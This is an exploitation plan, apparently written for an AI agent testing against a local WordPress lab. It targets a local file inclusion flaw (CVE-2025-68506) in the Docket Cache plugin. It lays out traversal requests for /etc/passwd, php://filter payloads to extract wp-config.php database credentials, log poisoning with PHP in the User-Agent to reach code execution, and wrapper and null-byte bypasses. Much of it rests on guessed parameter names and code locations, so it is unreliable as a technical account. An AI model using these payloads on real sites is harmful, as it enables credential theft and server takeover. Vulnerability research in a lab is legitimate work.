This research plan outlines the technical steps to analyze and exploit CVE-2025-68506, an unauthenticated Local File Inclusion (LFI) vulnerability in the Docket Cache WordPress plugin (versions <= 24.07.03).

---

Research Plan: CVE-2025-68506 - Docket Cache LFI

1. Vulnerability Summary

The Docket Cache plugin is designed to accelerate WordPress by caching objects and pages. Versions up to 24.07.03 contain a flaw where user-supplied input via a specific query parameter is passed directly into a PHP include or require statement without sufficient sanitization or access control. This allows an unauthenticated attacker to perform directory traversal and include arbitrary files from the server, potentially leading to Remote Code Execution (RCE) via log poisoning or inclusion of uploaded files.

2. Attack Vector Analysis

• Endpoint: The vulnerability is triggered via a GET request to the WordPress front-end (/index.php) or the admin initialization sequence.
• Vulnerable Parameter: docket-cache-view or view-log (inferred from common plugin features; to be verified in code).
• Hook: Likely init or plugins_loaded, as these run before authentication checks are enforced for general requests.
• Preconditions: The plugin must be active. Some LFI sinks in Docket Cache may require the "Page Cache" or "Logging" feature to be enabled in the plugin settings.

3. Code Flow (Inferred)

1. Entry Point: An unauthenticated user sends a GET request containing a specific parameter (e.g., ?docket-cache-view=...).
2. Hook Execution: WordPress triggers the init hook. The plugin's main class (e.g., Docket_Cache) or a logger class (e.g., Docket_Cache_Log) has a method registered to this hook.
3. Vulnerable Function: The handler checks for the presence of the trigger parameter.
   • Location: includes/class-docket-cache.php or includes/admin/log.php.
4. The Sink: The plugin takes the parameter value, potentially appends it to a base path (like DOCKET_CACHE_CONTENT_PATH), and calls a file inclusion function.
   • Code Pattern: include_once DOCKET_CACHE_CONTENT_PATH . $_GET['docket-cache-view'];
5. Path Traversal: By using ../ sequences, the attacker escapes the intended directory to access sensitive files like /etc/passwd or wp-config.php.

4. Nonce Acquisition Strategy

While the vulnerability is described as unauthenticated, some init handlers still check for nonces if they were originally intended for administrative use.

1. Check for Nonce Check: Search the source for check_ajax_referer or wp_verify_nonce near the include sink.
2. Identify Variable: If a nonce is required, look for wp_localize_script in the plugin code.
   • Potential Variable: window.docket_cache_object?.nonce
3. Create Trigger Content: If the script only loads on the admin dashboard or specific pages, use WP-CLI to create a test post:
   wp post create --post_type=page --post_status=publish --post_title="Log View" --post_content="[docket_cache_stats]" (Shortcode inferred).
4. Extract via Browser:
   Use browser_navigate to the created page, then:
   browser_eval("window.docket_cache_data?.nonce")

Note: If the inclusion is directly in the init hook without a nonce check, this step is bypassed.

5. Exploitation Strategy

Step 1: Probe for LFI

Attempt to read /etc/passwd to confirm traversal.

• Request:

  GET /?docket-cache-view=../../../../../../../../etc/passwd HTTP/1.1
  Host: localhost:8080
  

  (Note: The exact parameter name should be confirmed by searching for $_GET or $_REQUEST in the plugin source.)

Step 2: Extract wp-config.php

To obtain database credentials and salts.

• Payload: ../../../../../../wp-config.php
• Note: Since this is PHP, the server will execute it. To read the source, the LFI must be used in a context that outputs the file (like file_get_contents) or we must use a PHP filter:
  • Payload: php://filter/convert.base64-encode/resource=../../../../../../wp-config.php

Step 3: RCE via Log Poisoning (If applicable)

1. Identify a log file path (e.g., wp-content/cache/docket-cache/docket-cache.log).
2. Inject PHP code into the User-Agent:
   User-Agent: <?php phpinfo(); ?>
3. Include the log file via the LFI:
   ?docket-cache-view=../../../../cache/docket-cache/docket-cache.log

6. Test Data Setup

1. Install & Activate: wp plugin install docket-cache --version=24.07.03 --activate
2. Enable Logging (If required):
   wp option update docket_cache_settings '{"page_cache":"request","log":"1"}' --format=json
3. Create Traversal Target: Ensure /etc/passwd is readable in the environment or create a dummy file:
   echo "POC_SUCCESS" > /var/www/html/proof.txt

7. Expected Results

• Successful Traversal: The HTTP response body contains the contents of /etc/passwd (starting with root:x:0:0:...) or the contents of the proof.txt file.
• HTTP 200 OK: The request should return a 200 status code even when including system files.

8. Verification Steps

After sending the exploit request, verify the behavior:

1. Response Inspection: Check if "root:x" or "POC_SUCCESS" appears in the http_request output.
2. Log Check: Use wp eval "echo 'File included';".
3. Database Check: If wp-config.php was successfully included and executed (in a way that leaks data), verify you can access the database using the leaked credentials.

9. Alternative Approaches

• PHP Wrappers: If ../ is filtered, try php://filter or data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==.
• Null Byte Injection: For very old PHP versions (unlikely in this environment), try appending %00 to bypass extension enforcement (e.g., .../etc/passwd%00).
• Default Log Paths: If the plugin log is not accessible, attempt to include standard WordPress logs: wp-content/debug.log.